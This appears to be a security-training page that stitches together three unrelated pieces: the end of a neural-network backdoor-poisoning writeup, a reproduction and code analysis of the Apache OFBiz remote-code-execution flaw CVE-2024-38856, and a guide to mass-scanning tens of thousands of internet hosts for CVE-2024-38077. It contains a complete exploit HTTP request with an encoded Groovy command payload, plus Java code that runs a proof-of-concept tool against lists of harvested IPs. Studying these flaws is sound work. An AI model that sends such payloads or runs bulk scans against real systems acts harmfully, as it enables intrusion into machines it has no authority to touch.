构造函数 (__init__ 方法):
label_transform: 一个函数，用于将标签转换为目标标签。
device: 设备（如 GPU），用于存储转换后的标签。
调用方法 (__call__ 方法):
batch_labels: 批量标签，是一个张量（torch.Tensor）。
使用列表推导将每个标签通过 self.label_transform 函数进行转换，并将结果转换为张量，最终将张量移动到指定的设备上。
此时的中毒样本如下
执行后门注入
如下是攻击配置信息
训练过程部分截图如下
查看acc变化情况
可以看到也是稳步上升的
总得来说，这种后门攻击方法，虽然后门攻击成功率较高，但是正常任务的准确率会受到一定影响，比如在第24个epoch时，正常任务的准确率才0.79。
Apache OFBiz远程代码执行漏洞（CVE-2024-38856）
漏洞简介
Apache OFBiz 是一个开源的企业资源规划系统，提供了一整套企业管理解决方案，涵盖了许多领域，包括财务管理、供应链管理、客户关系管理、人力资源管理和电子商务等。Apache OFBiz 基于 Java 开发，采用灵活的架构和模块化设计，使其可以根据企业的需求进行定制和扩展，它具有强大的功能和可扩展性，适用于中小型企业和大型企业，帮助他们提高效率，降低成本，并实现业务流程的自动化和优化。Apache OFBiz 在处理 view 视图渲染的时候存在逻辑缺陷，未经身份验证的攻击者可通过构造特殊 URL 来覆盖最终的渲染视图，从而执行任意代码。
影响版本
Apache OFBiz <\= 18.12.14
漏洞复现
https://github.com/apache/ofbiz-framework/releases/tag/release18.12.14下载代码链接 https://codeload.github.com/apache/ofbiz-framework/zip/refs/tags/release18.12.14
下载后利用 idea 打开并编译运行
构造发送数据包
POST /webtools/control/main/ProgramExport HTTP/1.1
Host: 127.0.0.1:8443
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded
Content-Length: 272
groovyProgram=\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0063\u0061\u006c\u0063\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b
成功执行打开计算器的命令
\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0063\u0061\u006c\u0063\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b 是 throw new Exception('calc'.execute().te
漏洞分析
applications\accounting\webapp\accounting\WEB-INF\web.xml
org.apache.ofbiz.webapp.control.ControlServlet 会处理所有以/control/ 开头的路由
org.apache.ofbiz.webapp.control.ControlServlet#doPost
doPost 方法转换为 doGet 请求
org.apache.ofbiz.webapp.control.ControlServlet#doGet
利用 RequestHandler 来处理请求
org.apache.ofbiz.webapp.control.RequestHandler#doRequest
在 RequestHandler#doRequest 中依次获取路由相关参数
org.apache.ofbiz.base.util.UtilHttp#getApplicationName
org.apache.ofbiz.webapp.control.RequestHandler#getRequestUri
org.apache.ofbiz.webapp.control.RequestHandler#getOverrideViewUri
依次获取到与路由相关的参数后，调用 resolveURI 返回路由对应的配置信息
org.apache.ofbiz.webapp.control.RequestHandler#resolveURI
这里对应的是
framework/webtools/webapp/webtools/WEB-INF/controller.xml
对应的 /webtools/control/main/ 不需要认证，所以可以继续向下执行
通过success获取到返回值的数据赋值给successResponse,然后传递给nextRequestResponse
else if ("view".equals(nextRequestResponse.type)) {
if (Debug.verboseOn()) Debug.logVerbose("[RequestHandler.doRequest]: Response is a view." + showSessionId(request), module);
// check for an override view, only used if "success" = eventReturn
String viewName = (UtilValidate.isNotEmpty(overrideViewUri) && (eventReturn == null || "success".equals(eventReturn))) ? overrideViewUri : nextRequestResponse.value;
renderView(viewName, requestMap.securityExternalView, request, response, saveName);
}
在overrideViewUri 非空且 eventReturn 为 null 或 "success" 的情况下，将 viewName 设置为 overrideViewUri 。否则将 viewName 设置为 nextRequestResponse.value 。
这里请求的路径为 /main/ProgramExport 造成 view 的解析冲突，会进入到 ProgramExport 这个业务中 ，renderView 方法会解析与ProgramExport对应的请求
framework/webtools/widget/EntityScreens.xml
framework/webtools/groovyScripts/entity/ProgramExport.groovy
如何通过组合手段大批量探测CVE-2024-38077
背景
近期正值多事之秋，hvv中有CVE-2024-38077专项漏洞演习，上级police也需要检查辖区内存在漏洞的资产，自己单位领导也收到了情报，在三方共振下这个大活儿落到了我的头上。Windows Server RDL的这个漏洞原理就不过多介绍，本文重点关注如何满足大批量探测的需求。
问题
CVE-2024-38077自披露以来流传过几个poc工具，但使用过后留下的只有某某服的exe版本。可能出于保密原因，这个工具不支持的功能太多，本文就不一一列举，采用排除法自行脑补。支持的参数是指定某个IP或者某个IP段进行扫描，然后没了，就像这样：
但是这样扫来扫去无法满足需求，遇到的几个典型问题就是：
扫的为什么很慢？
从外部导入IP怎么办？
如何从大批量资产中筛选出有漏洞的？
空间测绘
探测辖区内或者某一地区的资产当然离不开空间测绘工具，fofa、鹰图、shaodan、zoomeye等著名的自然要尝试一遍，搜索的关键词首先是国内+3389和135端口+windows server操作系统，协议的话可以组合RDP/RDL，这样一来搜出的资产会多达几百万条，百万量级的数据处理起来对于我们这种小散户而言属于天方夜谭。况且这些空间测绘平台中有的甚至不支持非会员大数据量查询，像shaodan这样能够显示出来已经是仁慈的了：
结果虽然搜索出来了，但是百万级的数据是拿不到的。一是不支持多端口筛选，二是不支持导出（非会员）。
这里先解决第二个问题，如何导出搜索结果？突然想起了许久未用的空间测绘工具——kunyu（坤舆）。运行起来，进去执行搜索是这样：
检查了好多遍，语法没问题。不明觉厉之际，联系了kunyu的作者@风起。询问才知道ZoomEye的普通账号权限已经不支持kunyu了。唉，只能厚着脸皮借来账号一用。
然后就是重新初始化、配置输出目录、配置查询页数......这次导出的关键就在page参数上。kunyu默认的page是1，每次显示10条，即输出的Excel中有10条数据。如果设置为1000，则会显示10000条数据，导出的数据也就是10000条，但是这样一来查询效率会大大降低。经过测试，将page设置为100是较为合适的，也就是每次显示1000条。另外配合时间参数after、before以及区域参数city、subvisions将单次搜索总量控制在1000条以内，这样就可以不漏掉资产。
最后经过一番折腾，搜索了60多次，合并多个文件后，终于生成了一份5万条左右的Excel......既然有了一堆IP，接下来该进行的就是如何把这些IP导入工具开扫。但此时的poc工具是不支持外部IP导入的，并且对于“Can Not Reach Host.”之类的资产扫描进度会很慢，所以要考虑如何兼顾效率和准确性的问题。
Nmap
由于之前经过测试，对于确实存在漏洞的资产，poc的响应是很快的。CVE-2024-38077的利用条件之一是同时开放135和3389端口，而空间测绘工具搜索的结果是未验证135的，所以接下来的思路是使用Nmap对5万个资产探测一下两个端口的开放情况，然后根据输出结果筛选出两个端口均为open状态的IP，最后尝试将筛选出的IP导入poc工具扫描。
这个阶段也尝试过fscan等其他工具，但是比较下来Nmap的输出是最整齐的（前提是控制输入参数），方便后续处理：
从输出文件可以看出，除了第一行是注释，下面的内容都很有规律，每六行是对一个IP的描述，包含135和3389两个端口，而且格式都固定。由于需求要的是开放两个端口的所有IP，现成的工具没有能够满足的，只能自己写，又一次掏出了idea......
胶水代码
从Nmap的输出结果不难分析，如果要写代码处理的话，每六行可以看成是一个Nmap类，而这个类里面只需要3个属性，IP、port-135、port-3389。直接上代码：
//读取外部文件
BufferedReader reader = new BufferedReader(new FileReader(file));
MNmap nmap = null;
ArrayList<MNmap> list = new ArrayList();
int count = 0;
String line;
//循环读取每一行
while ((line = reader.readLine()) != null) {
//ip
if (line.startsWith("Nmap")) {
nmap = new MNmap();
nmap.ip = TNmap.findIp(line);
}
//135
if (line.startsWith("135") && nmap != null) {
nmap.p135 = TNmap.findP135(line);
}
//3389
if (line.startsWith("3389") && nmap != null) {
nmap.p3389 = TNmap.findP3389(line);
//将每一个nmap对象加入list
list.add(nmap);
}
}
到这里整个任务已经完成了一半，精准的资产已经筛选出来了，大概2400多个。接下来就是使用poc工具扫描了，毕竟两千多条数据，总不能手动设置两千多次吧，所以还是要写代码：
//循环执行exe工具，参数是nmap的IP，并逐个获取执行结果
for (int i = 0; i < list.size();i++) {
MNmap nmap1 = list.get(i);
if ("open".equals(nmap1.p135) && "open".equals(nmap1.p3389)) {
try {
// 指定要执行的exe文件及其参数
ProcessBuilder processBuilder = new ProcessBuilder(exeFile, nmap1.ip);
// 启动进程
Process process = processBuilder.start();
// 读取标准输出
BufferedReader r = new BufferedReader(new InputStreamReader(process.getInputStream()));
String l;
while ((l = r.readLine()) != null) {
if (l.contains("Vulnerability"))
System.out.println(l);
}
// 读取标准错误（如果需要）
BufferedReader errorReader = new BufferedReader(new InputStreamReader(process.getErrorStream()));
String errorLine;
while ((errorLine = errorReader.readLine()) != null) {
System.out.println("Standard Error: " + errorLine);
}
// 等待外部程序执行完成
int exitCode = process.waitFor();
if (exitCode == 0) {
System.out.println("程序执行完成");
} else {
System.out.println("程序执行出错，退出码：" + exitCode);
}
} catch (IOException | InterruptedException e) {
e.printStackTrace();
}
//计数
count++;
}
}
System.out.println("total: " + count);
这里贴出的只是关键的两段代码，完整项目见文末链接。最后将项目打成jar包，与CVE-2024-38077.exe和Nmap输出文件放在同一目录下：
开启powershell运行jar包，设置poc参数为CVE-2024-38077，同时指定输入IP的文件路径和输出文件路径，等待扫描完后得到存在漏洞的资产列表。
总结
CVE-2024-38077漏洞的探测难点在于一是没有成型的工具，二是空间测绘出来的大批量资产如何导出与二次筛选。本文的思路只是临时方案，相信后面会有大神公开其exp，最终出现像MS17010一样的工具。
蚁景网安学院火热招生中，限时领取大额优惠券，快来抢购吧~
扫码咨询客服了解招生最新内容和活动
